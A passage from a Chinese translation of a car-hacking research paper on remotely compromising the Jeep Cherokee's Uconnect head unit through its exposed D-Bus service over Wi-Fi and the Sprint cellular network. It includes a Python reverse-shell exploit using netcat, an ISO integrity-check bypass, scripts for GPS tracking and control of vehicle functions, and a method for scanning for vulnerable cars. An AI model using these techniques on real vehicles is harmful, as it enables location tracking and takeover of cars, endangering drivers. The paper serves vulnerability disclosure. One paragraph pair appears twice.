根据上面的代码,似乎当头单元无法获取到时间时,就会把时间设置到2013年1月1日 00:00:00 GMT。问题是,当‘WifiSvc’在首次启动并设置WPA2密码的时候,正确的时间是不是已经设置了。仅仅是根据我们的数据来看,答案是还没有。如果你获取到吉普切诺上的WPA2密码“TtYMxfPhZxkp”并暴力破解所有可能的时间来判断生成密码的是哪个时间,你所得到的结果会是吉普切诺上的密码是在Epioch 时间0x50e22720上生成的。这个时间对应的是2013年1月1日 00:00:32 GMT。这就说明,从‘clock.lua’设置好时间到‘WifiSvc’生成密码,我们的头单元用了32s,而且我们的头单元并没有在这32s中找到正确的时间。所以,在这种情况下,实际只需要尝试十几个可能的密码,而且只有几个的可能性较大。换句话说,几乎瞬间就能破解出密码。

开放端口

一种常见的Wi-Fi热点评估方法是端口扫描默认的网关,并检查是不是打开了任何端口。出乎我们意料的是,开放端口远远的数量超过了3个。下面是根据网络状态(netstat)列出的监听端口:

# netstat -n | grep LISTEN

tcp        0      0  *.6010                 *.*                   LISTEN

tcp        0      0  *.2011                 *.*                   LISTEN

tcp        0      0  *.6020                 *.*                   LISTEN

tcp        0      0  *.2021                 *.*                   LISTEN

tcp        0      0  127.0.0.1.3128         *.*                   LISTEN

tcp        0      0  *.51500                *.*                   LISTEN

tcp        0      0  *.65200                *.*                   LISTEN

tcp        0      0  *.4400                 *.*                   LISTEN

tcp        0      0  *.6667                 *.*                   LISTEN

下面是通过端口扫描发现的服务简介:

· 2011: NATP

· 2021: MontiorService。这个服务提供通过运行系统进入文件或通过TCP/IP的调试/追踪信息;提供通过TCP/IP向SCP系统另外发送GCF信息的可能性。

· 3128: 3proxy。这是一个代理服务。

· 4400: HmiGateway

· 6010: Wicome

· 6020: SASService。这个服务实现了基于Speech API架构的客户端-服务端中的服务器部分。

· 6667: D-BUS 会话总线

· 51500: 3proxy admin web 服务器

· 65200**: **dev-mv2trace

在所有这些服务中,有很多都是**性质的,很有可能在某个服务中就存在漏洞,能允许远程漏洞利用。

经过简单的研究,我们发现*有意思的开放端口是6667,这个端口一般是给IRC保留的。很显然,这个Wi-Fi热点无法运行一个IRC服务器,对吧?在使用远程登陆系统的客户端连接到6667端口并返回几次后,我们意识到这并不是一个IRC服务器,但是,D-Bus到IP,实际上是一个跨进程通讯(TPC),也是进程之间在通讯时使用的一个远程过程调用机制。

$ telnet 192.168.5.1 6667

Trying 192.168.5.1...

Connected to 192.168.5.1.

Escape character is '^]'.

a

ERROR "Unknown command"

D-Bus服务

Uconnect系统上的D-Bus信息守护进程绑定到了端口6667,并且如上所述,用于跨进程通讯。进程之间的交互如下:

跨进程通讯D-BUS图

综述

这里只有两个总线值得一提:系统总线,守护进程和系统服务主要都注册到这个总线;会话总线,为用户应用保留的一个总线。

D-Bus可以获取认证。在吉普切诺的头单元上,认证是开放给匿名操作的,如下:

telnet 192.168.5.1 6667

Trying 192.168.5.1...

Connected to 192.168.5.1.

Escape character is '^]'.

AUTH ANONYMOUS

OK 4943a53752f52f82a9ea4e6e00000001

BEGIN

我们使用Python的D-Bus库写了几个脚本来与D-Bus系统交互,但是在调查期间,我们感觉*实用的工具还是Dfeet,这个工具提供了非常易用的GUI来调试D-Bus服务。

用户可以使用DFeet工具与吉普切诺上的D-Bus服务交互。在下面的截图中,我们看到的是‘com.harman.service.SoftwareUpdate’ 服务的方法。-com.harman.service.SoftwareUpdat 服务在DFeet中的输出

DFeet能够连接并列出多个服务(叫做总线名称)。例如:

com.alcas.xlet.manager.AMS

com.harman.service.AppManager

com.harman.service.AudioCtrlSvc

...

每个服务都有一个对象路径。比如com.harman.service.onOff’的对象路径就是‘/com/harman/service/onOff’。另外,每个服务都包括两个接口:‘com.harman.Serviceipc’ 和 ‘org.freedesktop.DBus.Introspectable’。Serviceipc接口只有一种获取参数和返回字符串的方法,表示的是通用D-Bus接口。

DFeet中就可以调用这些服务。比如,你可以单击’com.harman.service.Control’,然后是‘/com/harman/service/Control’,接着是‘ ‘Serviceipc’下的Invoke’,*后执行下面的参数:“getServices”, “”

 

-通过DFeet调用

返回的值可以在输出窗口(上图)中看到,但是我们还列出了下面的信息:

{"com.harman.service.platform.launcher":

{"name":"com.harman.service.platform.launcher",

                                     "methods":{"launch":"launch"}},

"com.harman.service.Control":

{"name":"com.harman.service.Control",

                                     "methods":{"stop":"stop","getModules":"getModules

","start":"start","getServices":"getServices","setDebug":"setDebug","shutdown":"shutdo

wn"}},

"com.harman.service.PersonalConfig":{

"name":"com.harman.service.PersonalConfig",

                                     "methods":{"getProperties":"getProperties","getAl

lProperties":"getAllProperties","setProperties":"setProperties"}},

检查并分类所有的D-Bus服务和通过TCP的方法调用,这是我们留给您的阅读实践。但是,我们已经发现了几种方法,能允许直接与头单元交互,比如调整电台音量,访问PPS数据以及能提供低级权限的其他方法。

蜂窝

2014款吉普切诺的哈曼Uconnect系统还能够通过Sprint蜂窝网络进行通讯。大多数人都把这种通讯方法称作车载通讯系统。这个通讯系统是车载Wi-Fi、实时流量更新和其他远程连接的支柱。

蜂窝连接可能是通过Sierra Wireless AirPrime AR5550无线模块实现的,如下。

-哈曼Uconnect系统上的Sierra Wireless AirPrime AR5550无线模块

你可以根据这个无线模块上的标志判断出这个芯片使用了高通的3G基带,并使用了Sprint作为运营商。用户也可以使用Sierra Wireless 的软件开发工具来开发和调试这些系统。

CAN连接性

我们先前提到过,Uconnect系统既可以通过Wi-Fi、蜂窝和蓝牙与外界通讯,也可以通过CAN总线与外界通讯。虽然在德州仪器OMAP-DM3730系统上运行的ARM处理器并无法直接访问CAN总线,但是另一个板载数据包却可以。

负责与内部高速CAN(CAN-IHS)交互的处理器和主要的CAN-C总线是一个Renesas V850处理器,如下。

-Renesas V850 FJ3

通过上面的标志我们能确定这个芯片是Renesas V850 FJ3。另外,结合所有的指示信息和经验,这也是汽车头单元中的典型配置。V850芯片的功耗低而且能持续监控CAN流量数据。在有必要时,这个芯片会唤醒(高功耗的)OMAP芯片。

不过我们很幸运,IDA Pro中已经包括了一个这种架构的处理器,所以我们不需要自己写了。详细的固件逆向过程请阅读下面的V850章节。

0x05 劫持Uconnect

 

接下来你会发现,要想劫持Uconnect设备,并不需要远程入侵这辆吉普,但是,要想弄清楚如何探索头单元和其他部分,劫持是很有必要的。我们在这里提供了一些具体的信息来帮助那些热衷于访问头单元文件的用户。很显然,本地安全是整个汽车安全中很重要的一个部分。因为任何漏洞作者都会告诉你说,只有搞明白了目标系统中错综复杂的关系,你才能创建一个能完全发挥作用的漏洞。

总的来说,劫持Uconnect设备的方法有两种,第一种适用于所有的版本,也很简单;第二种只适用于特定的操作系统版本,但是可以视为一种合法的入侵。

任意版本

你可以把一个有效的ISO文件放到一个U盘上,再把这个U盘插入到Uconnect系统的USB端口。头单元就会识别这个包含有更新文件的U盘并开始更新过程,如下。

-Uconnect的更新界面

如果你尝试在U盘验证后,但是重启前,移除U盘,系统就会放弃更新并重启进入常规(非更新)模式。

但是,在验证了U盘后,系统就会重启头单元。如果,你这时候关机并拔出U盘,系统就会简单地要求你插入U盘。

 

-要求插入U盘的界面

此时,你可以插入一个新的U盘。我们不清楚系统会如何检查新的U盘,但是一定和原来的检查方法很 “接近”或者就根本不检查。然而,U盘上可以包含修改后的文件。比如,通过修改原始ISO文件的十六进制值来更改根密码是可以成功的。更新是从ISO文件上运行的,包括用于验证ISO有效性的代码。所以,如果你愿意的话,也可以阻止代码运行完整性检查。

版本14_05_03

版本14_05_03中存在一个bug,能允许绕过系统的ISO验证过程。不过,这个ISO文件中的某些属性还是要保持不变的,至于原因我们也不是完全清楚(如上)。至少,我们知道不能更改的属性包括文件中的一些哈希和签名。通过手动编辑ISO就可以绕过完整性检查。

系统中的bug:

/usr/share/scripts/update/installer/system_module_check.lua 91 local fname= string.format("%s/swdl.iso", os.getenv("USB_STICK") or "/fs/usb0")

 92    local FLAGPOS=128

 93

 94    local f = io.open(fname, "rb")

95 96 97 98 99

100 101

if f then

   local r, e = f:seek("set", FLAGPOS)

   if r and (r == FLAGPOS) then

      local x = f:read(1)

      if x then

if x == "S" then

print("system_module_check: skip ISO integrity check")

绕过ISO有效性检查很简单,只需要在一个十六进制编辑器中手动编辑文件并把偏移128 (0x80) 上的值修改为‘S’ (0x53)。

-修改后的完整性检查字节

更新模式

如果想在更新过程中运行代码,比如,要想绕过除了ISO完整性检查之外的其他检查,你可以更改’system_module_check.lua’。要想绕过某些过程的*有效办法就是修改ISO,让系统检测ISO是不是正在绕过完整性检查,如果是,就放弃更新过程。这样,你就可以在不完成Uconnect系统更新过程的情况下,运行代码了,而完整更新过程可能需要30分钟。仅仅通过修改‘cmds.sh’ 的内容,就可以放弃整个更新过程。

上面提到的这种在更新过程中运行代码的方法存在弊端,主要是头单元会处于 “更新模式”(更多细节请参阅‘bootmode.sh’ ),也就是说并不是所有的文件系统都会挂载,并且类似网络连接这样的功能也不会启用。但是,头单元在安装更新的过程zhong是可以修改的,而且这种更改是不会因为汽车重启而移除的。

常规模式

用另外一种不同的方式来修改ISO就可以让代码在 “常规”模式运行,这样就能访问所有的文件系统和网络连接了。为了在常规模式下更新代码。用户必须修改 ‘boot.sh’ 文件来运行一些代码。下面就是劫持ISO时,boot.sh文件的差别:

< sh /fs/usb0/cmds.sh &

< ######rently started with high verbosity

---

> # Start Image Rot Fixer, currently started with high verbosity

在做出了更改后,Uconnect系统在启动时,就会执行U盘上‘cmds.sh’文件中的任何命令。例如,你可以更改根目录并启动SSH守护进程,这样就可以获取SSH远程权限了(给你访问Uconnect设备的根权限)。

首先,你必须修改ISO中的根密码,然后,在‘cmds.sh’文件中添加下面的命令。这样在开机时SSH就能启动:‘/fs/mmc0/app/bin/sshd

如下是通过SSH登录哈曼Uconnect系统:

ssh root@192.168.5.1

******************************** CMC ******************************** Warning - You are knowingly accessing a secured system. That means you are liable for any mischeif you do. *********************************************************************

root@192.168.5.1's password:

注意:其中有个词拼错了。

在很多时候,你可能想要在Uconnect系统中放入文件。要想实现这一点,你必须要能写入一个文件系统,就像运行挂载命令一样简单:

mount -uw /fs/mmc0/

很明显,通过发出另一个挂载命令就可以逆向这个过程:

mount -ur /fs/mmc0/

0x01 利用D-Bus服务

 

D-Bus系统是可以匿名访问的,跨进程通讯经常会使用D-Bus系统。我们认为,D-Bus系统本不应该会暴露,所以,我们有点意外,利用D-Bus来运行代码居然是可行的。

获取代码执行

你已经发现了D-Bus服务暴露在了端口6667上,并且这个端口是在Uconnect系统上运行的。所以,我们认为通过不认证办法来执行代码是*好的方式。在一开始的时候,我们就怀疑过这个服务,因为这个服务在设计上就是为了处理通讯。我们推测,这种通讯一定在某种程度上是受信的,并且在设计上就不会处理远程数据。在网络上,暴露像D-Bus这样一个强大和全面的服务会造成几个安全问题,无论是功能滥用,还是代码注入,甚至是内存崩溃。

在上文的D-Bus服务章节,我们发现了几个D-Bus服务,以及调用每个服务的方法,但是有一个非常重要的服务没有提到,那就是‘NavTrailService’ 。‘NavTrailService’的代码是在这里‘/service/platform/nav/navTrailService.lua’ 实现的。因为内存崩溃非常难实现,而且这又是一个LUA脚本,所以我们的第一个想法就是查找命令注入漏洞。我们发现了下面的一个方法,这个方法是在一个用户命名的文件上操作的。

function methods.rmTrack(params, context)

  return {

    result = os.execute("rm \"" .. trail_path_saved .. params.filename .. "\"")

  }

end

‘rmTrack’方法中包含有一个命令注入漏洞,如果攻击者能调用D-Bus方法,那么利用这个漏洞,攻击者就可以通过指定包含有shell元字符的文件来运行任意的shell命令(当然也有其他类似的方法)。我们的怀疑是正确的,因为在处理可信来源的用户输入时,命令注入是一种非常典型的方法。

但是,这里的命令执行不是必要的,因为实际上‘NavTrailService’服务提供了一种 “执行”方法,这种方法就是设计用于执行任意shell命令的!嘿,这是一个功能,不是一个bug!下面列出的是‘NavTrailService’可用的所有服务,加粗显示的两个服务是我们所讨论的。("execute","rmTrack"

"com.harman.service.NavTrailService":  

{"name":"com.harman.service.NavTrailService",  

"methods":{"symlinkattributes":"symlinkattributes",  

"getProperties":"getPr operties","execute":"execute",

"unlock":"unlock","navExport":"navExport","ls": "ls",  

"attributes":"attributes","lock":"lock","mvTrack":"mvTrack",  

"getTracksFo lder":"getTracksFolder","chdir":"chdir",  

"rmdir":"rmdir","getAllProperties":"g etAllProperties",  

"touch":"touch","rm":"rm","dir":"dir","writeFiles":"writeFil es",  

"setmode":"setmode","mkUserTracksFolder":"mkUserTracksFolder",  

"navGetImpo rtable":"navGetImportable",  

"navGetUniqueFilename":"navGetUniqueFilename","mkd ir":"mkdir",  

"ls_userTracks":"ls_userTracks","currentdir":"currentdir","rmTrac  

k":"rmTrack","cp":"cp","setProperties":"setProperties",  

"verifyJSON":"verifyJS ON"}},

你可以推测出在头单元上使用根权限来执行代码并不难,尤其是当默认安装的是常用的通讯工具时,比如netcat(nc)。我们希望这个漏洞可以更出色一点(编辑注释:这是假话!),虽然在头单元上执行代码不是很困难。下面的四行Python代码可以在未经篡改过的头单元上打开一个远程根shell,这意味着攻击者并不需要通过劫持头单元就可以入侵系统。

import dbus

bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")

proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/ha rman/service/NavTrailService')

playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.Ser viceIpc')

print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')

0x02 Uconnect攻击载荷(attack payloads)

至此,我们就可以在头单元上运行任意代码了,尤其是在Uconect系统中的OMAP芯片上。在这一部分,我们讲解了几种能影响到汽车内部以及无线电广播功能的LUA脚本,例如调高音量或阻止某个控制开关的响应(也就是音量)。通过这个脚本你就能知道在具备了远程shell和Uconnect系统权限后,我们可以在汽车上做哪些手脚。接下来,我们会说明如何通过远程访问D-Bus系统来实现平行感染并发送任意的CAN信息,从而影响汽车上除了头单元以外的其他系统。

GPS

头单元能够查询并获取车辆上的GPS坐标,不是通过Sierra Wireless调制解调器就是通过Wi-Fi。通过端口6667上未认证的D-Bus通讯也可以获取到这些值,这样造成的结果就是可以追踪任意车辆的位置。换句话说,我们下面的这个脚本就可以在头单元上运行,但是只能通过查询暴露的D-bus服务来获取坐标值。

service = require("service")

gps = "com.harman.service.NDR"

gpsMethod = "JSON_GetProperties"

gpsParams = {

   inprop = {

   "SEN_GPSInfo"

   }

}

response = service.invoke(gps, gpsMethod, gpsParams) print(response.outprop.SEN_GPSInfo.latitude, response.outprop.SEN_GPSInfo.longitude)

例如,如果你在头单元上执行lua getGPS.lua’,那么就会返回如下的结果:

lua getGPS.lua

40910512 -73184840

然后,你可以稍加修改,在谷歌地图中输入40.910512, -73.184840,这样就能确定其位置了。在这个例子中,是长岛的某个位置。

HVAC

头单元可以控制汽车的供暖和空调。下面的代码会把风扇设置到一个任意速度。

广播音量

Uconnect系统的一个主要功能就是控制广播。攻击者可以很轻易地把广播音量设置成任意值。例如,如果攻击者知道现在播放的是爱司基地(Ace of Base)的歌,他们可以把音量调整到一个合适的级别(也就是*合适的音量)。

require "service"

params = {}

params.volume = tonumber(arg[1])

x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)

低音

有时候,比如在听2 Live Crew的时候,调高低音是唯一的选择。喜欢重低音的攻击者可以使用下面的脚本来调整相应的级别。

require "service"

params = {}

params.bass = tonumber(arg[1]) x=service.invoke("com.harman.service.AudioSettings", "setEqualizer", params

电台(FM)

在路途中,*重要的任务之一就是选择一个合适的FM电台。通过编程LUA脚本也可以更换电台。

require "service"

Tuner = "com.harman.service.Tuner"

service.invoke(Tuner, "setFrequency", {frequency = 94700})

显示屏

这里有很多很多种办法都可以修改Uconnect的显示状态,比如完全关闭显示屏或显示后置摄像头。下面的几个代码示例可以更改屏幕显示:

require "service"

x=service.invoke("com.harman.service.LayerManager", "viewBlackScreen", {})

x=service.invoke("com.harman.service.LayerManager", "stopBlackScreen", {})

x=service.invoke("com.harman.service.LayerManager", "viewCameraInput", {})

x=service.invoke("com.harman.service.LayerManager", "stopViewInput", {})

x=service.invoke("com.harman.service.LayerManager", "showSplash", {timeout = 2})

显示图片

你还可以更改头单元上的显示屏来显示你选中的图片。这张图片的大小和格式(png)必须是正确的。然后,这张照片必须放到文件系统上的某个位置。*后,你就能告诉头单元要显示这张照片。

mount -uw /fs/mmc0/

cp pic.png /fs/mmc0/app/share/splash/Jeep.png pidin arg | grep splash

kill <PID>

splash -c /etc/splash.conf &

一旦这张图片就位了,你就可以调用上述的‘showSplash’ 方法。

 

-两个年轻人

旋钮

一个更有趣的发现之一就是在杀死某项服务后,能够使电台的旋钮控制失效,比如音量和调音器控制。通过杀死主要的D-Bus服务,你就可以使所有的电台控制失去响应。如果再执行几项其他的操作,这种攻击会变得尤其烦人,比如把低音和音量调到*高。

kill this process: lua -s -b -d /usr/bin service.lua

0x03 蜂窝利用

 

目前,我们已经知道了如何在头单元上运行代码,前提是你能用USB设备(劫持)来连接汽车或访问车内的Wi-Fi(利用D-BUS漏洞/功能)。*大的问题是,这些入侵方法都要么需要接触到汽车,要么就需要攻击者加入到车上的Wi-Fi热点。

如果能加入到车内的Wi-Fi热点并进行漏洞利用是非常让人激动的,因为这就说明我们已经远程入侵了一辆原装汽车,但是,对我们来说,这其中的前提和限制还是太多了。首先,我们假设多数用户不会购买车上的Wi-Fi服务,因为这项服务的收费太高了,每月34.99美元(约是217.33元)。第二,问题在于Wi-Fi的加入,虽然考虑到密码的生成方式,问题并不大。*后,也是*重要的,Wi-Fi的范围对于汽车入侵来说太短了,大约只有32米。虽然这个范围足够攻击者开车接近目标车辆来入侵其头单元并发送命令,但是这不是我们*终想要的目标。我们会继续调查能否从更远的距离上利用漏洞来攻击目标车辆。

网络设置

观察Uconnect系统的网络配置,我们可以在其中找到几个用于通讯的接口。这里面就有一个用于内部Wi-Fi通讯的接口uap0,另一个PPP接口-ppp0,我们猜测是用于通过Sprint的3G服务与外界通讯。

# ifconfig

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 33192

inet 127.0.0.1 netmask 0xff000000

pflog0: flags=100<PROMISC> mtu 33192

uap0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500

address: 30:14:4a:ee:a6:f8

media: <unknown type> autoselect

inet 192.168.5.1 netmask 0xffffff00 broadcast 192.168.5.255

ppp0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1472 inet 21.28.103.144 -> 68.28.89.85 netmask 0xff000000

Uconnect系统会把地址192.168.5.1分配给连接到Wi-Fi访问点的主机。如果用户了连接到了Uconnect系统,他们就会看到IP地址68.28.89.85。但是,在这个地址上,端口6667不是打开的。在接入网络时,21.28.103.144是Uconnect实际的接口地址,但是只开放给内部的Sprint网络。

在经过实验后,我们发现每当汽车重新启动时,PPP接口的IP地址就会更改,但是地址空间中总是会填充两个A类地址块:21.0.0.0/8 或 25.0.0.0/8,这两个地址空间应该是Sprint给汽车的IP地址保留的。在这里可能保留了更多的地址块来供汽车使用,但是我们很确定的是,凡是运行着Uconnect系统的车辆中都有这两个地址空间。

我们还想要检查D-Bus服务是不是的确绑定到了蜂窝接口上的同一个端口(6667),允许通过IP进行D-Bus交互。下面是一个活动的头单元上的netsat输出:

# netstat

Active Internet connections

Proto Recv-Q Send-Q      Local Address          Foreign Address      State

tcp        0      0      144-103-28-21.po.65531 68.28.12.24.8443     SYN_SENT

tcp        0     27      144-103-28-21.po.65532 68.28.12.24.8443     LAST_ACK

tcp        0      0      *.6010 *.*             *.*                  LISTEN       

tcp        0      0      *.2011                 *.*                  LISTEN

tcp        0      0      *.6020 *.*             *.*                  LISTEN

tcp        0      0      *.2021                 *.*                  LISTEN

tcp        0      0      Localhost.3128         *.*                  LISTEN

tcp        0      0      *.51500                *.*                  LISTEN

tcp        0      0      *.65200                *.*                  LISTEN

ESTABLISHED

tcp        0      0      localhost.65533        *.*                  LISTEN

ESTABLISHED

tcp        0      0      *.4400                 *.*                  LISTEN

tcp        0      0      *.irc                  *.*                  LISTEN

udp        0      0      *.*                    *.*                  

udp        0      0      *.*                    *.*                 

udp        0      0      *.*                    *.*                  

udp        0      0      *.*                    *.*                  

udp        0      0      *.bootp                *.*  

从上面的输出中你可以看出,与IRC关联的端口6667绑定到了所有的接口上。所以,我们可以通过蜂窝网络来执行D-Bus通讯,从而攻击这辆吉普切诺。我们首先想到的是获取一个飞蜂窝(Femtocell)设备并强制这台吉普切诺加入我们的网络,这样就能直接通过蜂窝从更远的范围上与车辆通讯。

飞蜂窝(Femtocell)

飞蜂窝设备基本上就是一个迷你的蜂窝塔,用于帮助消费者改善居住位置的信号接收问题。除了当做一个信号塔,这个设备还可以用于拦截蜂窝流量,按照攻击者的意愿进行修改。

我们还从Ebay上购买了几个老款的Sprint Airave基站,其中有了两个是坏的,另一个 “全新的”设备据称被盗了(感谢Ebay!)。我们选用了Airave 2.0基站,因为我们知道这个设备上有一个漏洞,利用这个漏洞可以打开设备上的Telnet和HTTPS。

-Sprint Airave 2.0

在运行了漏洞后,我们的Airave设备就可以通过Telnet远程访问了,实际上就是给我们提供了设备上的一个Busybox shell。我们估计,基本上这些工具就足够我们通过蜂窝网络与这台吉普切诺通讯了。

让我们高兴的是,我们通过蜂窝网络成功地ping到了这辆吉普上,并且能与D-Bus进行通讯。也就是说,我们可以扩大攻击范围了,并通过Wi-Fi利用远程命令执行中存在的同一个漏洞,而且不需要针对原装车辆进行任何修改(不仅仅是启用了Wi-Fi的车辆)。

可以说这是一次巨大的胜利,但是我们意识到这个攻击范围还是很有限,我们还想要继续扩大范围,我们也能够做到。

蜂窝访问

我们选用飞蜂窝设备的原因是我们认为普通的Sprint信号塔会拦截两台设备间的通讯。通过使用我们自己的信号塔(飞蜂窝),我们能保证能够与吉普切诺上的Uconnect系统通讯。但是,实际上,Sprint并不会在他们的网络上拦截设备之间的这类流量。我们首先验证了,在一个信号塔内,一台Sprint设备(在我们的例子中是一个一次性手机)可以与另一台Sprint设备通讯,也就是直接与我们的吉普车通讯。这样攻击范围就可以扩大到一个信号塔的范围了。

更让我们震惊的是,其连接性并不局限于单个的信号塔。全国范围内的任何Sprint设备在任何地方都可以与其他位置的Sprint设备通讯。例如,下面就是克里斯在匹兹堡发起的一个会话,证明了他可以在圣路易斯访问这台吉普车的D-Bus端口。

$ telnet 21.28.103.144 6667

Trying 21.28.103.144...

Connected to 21.28.103.144.

Escape character is '^]'.

a

ERROR "Unknown command"

注意:连接主机必须要在Sprint网络上(例如,连接到Sprint手机的一台笔记本或连接到Uconnect Wi-Fi热点的笔记本),并且不能是互联网上的一台通用主机。

0x04 扫描有漏洞的车辆

 

为了找到有漏洞的车辆,你只需要在IP地址21.0.0.0/8 和 25.0.0.0/8 上扫描Sprint设备的端口6667。任何有响应的设备就是有漏洞的Uconect系统(或一个IRC服务器)。为了确定这一点,你可以尝试Telnet登陆这台设备并查找错误字符串“Unknown command”。

-扫描设置

如果你想的话,接下来你可以与D-Bus服务交互,从而执行上述的任何操作。除非你得到了车主的允许,否则不要这么做。

扫描结果

为了了解有多少车辆会受到这个漏洞的影响,以及存在漏洞的车型,我们执行了一些网络扫描。

下面就是我们通过扫描发现的一些可能存在漏洞的车型:

2013 道奇蝰蛇

2013 RAM 1500

2013 RAM 2500

2013 RAM 3500

2013 RAM CHASSIS 5500

2014 道奇杜兰戈

2014 道奇蝰蛇

2014 吉普切诺

2014 吉普大切诺

2014 RAM 1500

2014 RAM 2500

2014 RAM 3500

2014 RAM CHASSIS 5500

2015 克莱斯勒 200

2015 吉普切诺

2015 吉普大切诺

注意:我们实际上并没有利用漏洞来攻击这些车辆,所以我们也无法100%的确定这些车型有漏洞,但是这些车辆上确实有一个监听D-Bus的服务,我们在没有认证的情况下可以远程与D-Bus服务交互。

估算有漏洞的车辆数量

在一次扫描会话中,我们发现了2695台车辆。当时,我们根据VIN编号确定了其中有21台是重复的。

利用基于标记重补法的公式,我们估算了有漏洞的车辆数量。我们的想法是,如果扫描所有包含有漏洞的车辆,你会看到很多重复结果,如果你只扫描一小部分,那么重复的数量不会太多。所以,我们并没有看到太多的重复。注意,我们的设置与这个数学模型的猜测并不完全一致,但是很接近。无论如何,菲亚特克莱斯勒公司清楚真实的数量。

我们使用了贝叶斯算法来估计其数量:

(2694 * 2694) / 19 +/- sqrt((2694 *2694 *2675 *2675) / (19 *19 *18)) = 381,980 +/- 89,393

我们估算,大约在292,000471,000台汽车中存在漏洞。然而,,我们观察了一些在2013年和2014年生产的车型,克莱斯勒称他们2014年的销售数量在1,017,019左右,也就是说真实数量要比我们估计得多。

注意:此次研究造成的召回事件影响了140万台汽车。看来我们估计少了。

汽车蠕虫

因为,一台汽车可以扫描其它有漏洞的车辆,并且漏洞利用不需要任何用户交互,所以写一个蠕虫是可行的。这个蠕虫要能够扫描有漏洞的车辆,并使用自己的有效载荷来扫描其它的漏洞车辆并进行漏洞利用。这非常有趣也很可怕。请不要这样做。

0x05 V850

 

我们先前讨论过,Uconnect系统能够与两个不同的CAN总线通讯。CAN通讯是由Renesas V850ES/FJ3芯片通讯,请参考CAN连接性章节。但是,OMAP芯片,我们在漏洞利用了D-Bus后在这上面执行了代码,这块芯片并不能发送CAN信息。不过,OMAP芯片可以与v850芯片通讯,而v850芯片可以发送CAN信息。

在调查头单元时,我们把V850和CAN通讯称作了 “IOS”。有意思的是,头单元(OMAP芯片)可以更新IOC(V850芯片),通常是通过U盘。接下来,我们会讨论IOC是如何更新的,并看看我们能不能利用这种机制在IOC上刷入篡改过的固件,从而允许我们在入侵了OMAP芯片后发送CAN信息。

我们先前讨论过,Uconnect系统能够与两个不同的CAN总线通讯。CAN通讯是由Renesas V850ES/FJ3芯片通讯,请参考CAN连接性章节。但是,OMAP芯片,我们在漏洞利用了D-Bus后在这上面执行了代码,这块芯片并不能发送CAN信息。不过,OMAP芯片可以与v850芯片通讯,而v850芯片可以发送CAN信息。

在调查头单元时,我们把V850和CAN通讯称作了 “IOS”。有意思的是,头单元(OMAP芯片)可以更新IOC(V850芯片),通常是通过U盘。接下来,我们会讨论IOC是如何更新的,并看看我们能不能利用这种机制在IOC上刷入篡改过的固件,从而允许我们在入侵了OMAP芯片后发送CAN信息。

模式

在任何时候,都可以在下面的三种模式下更新IOC。第一种是应用模式,也就是用户认为的 “常规”模式,因为这种模式具有引导程序、完整的固件和运行的应用代码。第二种模式是引导程序模式,设计用于更新IOC上的应用固件。*后,是引导程序更新模式,在这个模式中,IOC会进入一种可以更新引导程序的状态,而引导程序是负责把固件加载到内存并把IOC放入到应用中。

更新V850

再回过头去观察更新ISO中的’manifest.lua’,我们看到这里有一个文件就是用于更新IOC的应用固件-‘cmcioc.bin’。在后面你会看到,这个二进制文件的确是一个完整的V850固件,通过逆向工程,我们发现了更多有趣的点。

ioc= 44 {

name                   = "ioc installer.",

installer              = "ioc",

data                   = "cmcioc.bin",

}

通过更深入的调查’manifest.lua’,你会发现还有几个文件与IOC更新或相应的启动程序更新有关系。

 local units =

{ ...

     ioc_bootloader =

     {

         name                      = "IOC-BOOTLOADER",

         iocmode                   = "no_check",

         installer                 = "ioc_bootloader",

         dev_ipc_script            = "usr/share/scripts/dev-ipc.sh",

         bootloaderUpdater         = "usr/share/V850/cmciocblu.bin",

         bootloader                = "usr/share/V850/cmciocbl.bin",

         manifest_file             = "usr/share/V850/manifest.xml"

     },

     ioc =

     {

         name                      = "IOC",

         installer                 = "ioc",

         dev_ipc_script            = "usr/share/scripts/dev-ipc.sh",

         data                      = "usr/share/V850/cmcioc.bin"

      },

实际用于IOC更新或启动程序更新的文件数量并不多。我们*感兴趣的还是应用代码,因为我们能从中找到*佳的机会来找到用于发送和接收CAN信息的代码,在下面用加粗的就是(cmcioc.bin)。

$ ls -l usr/share/V850/

total 1924

-r-xr-xr-x    1 charlesm staff 458752 Jan 30 2014 cmcioc.bin

-r-xr-xr-x    1 charlesm staff 65536 Jan 30 2014 cmciocbl.bin

-r-xr-xr-x    1 charlesm staff 458752 Jan 30 2014 cmciocblu.bin

-r-xr-xr-x    1 charlesm staff 604 Jan 30 2014 manifest.xml

注意:我们知道要逆向哪个文件,需要找到一种方法把修改过的固件刷到V850芯片上,所以我们可以平行移动代码执行,通过CAN总线来物理控制头单元。我们很幸运,系统上有一个二进制就是设计用于执行我们想要的操作。

通过‘iocupdate’可执行程序,IOC应用代码可以推入到Uconnect系统上的V850固件,这个可执行程序就是’ioc.lua’。

iocupdate -c 4 -p usr/share/V850/cmcioc.bin

‘iocupdate’的帮助文档证实了我们的初步分析,根据其说明,这个文件确实是用于从头单元向IOC发送二进制文件

%C: a utility to send a binary file from the host processor to the IOC [options] <binary file name>

Options:

-c       <n> Channel number of IPC to send file over (default is /dev/ipc/ch4) -p Show progress

-r       Reset when done

-s       Simulate update

Examples:

/bin/someFile.bin         (will default to using /dev/ipc/ch4)

-c7 -r /bin/someFile.bin  (will reset when done)

-sp                       (simulate update with progress notification)

在我们想出如何编程V850数据包之后,我们需要逆向并修改IOC应用固件来添加代码,从而接收并转发命令到CAN总线。*重要的部分是逆向IOC应用固件,因为我们这样会暴露必要的代码来发送和接收来自总线的CAN信息。幸运的是,我们发现IOC可以重新刷入固件,并且没有使用加密签名来验证固件是不是合法的。

逆向IOC

 

这次研究的主要目的不仅仅是为了证明汽车的通讯系统是可以入侵的(因为我们早就知道这一点了),而是为了证明在成功远程入侵后,我们先前研究证明过的攻击方法可以用同样的方式执行。

正如我们多次提到的,Uconnect系统使用了芯片组Renesas V850/Fx3与车内网络通讯。我们意识到,如果我们想要从车辆上发送并接收CAN信息,我们很可能需要逆向这个固件,来弄清楚究竟要如何调用与CAN相关的函数。

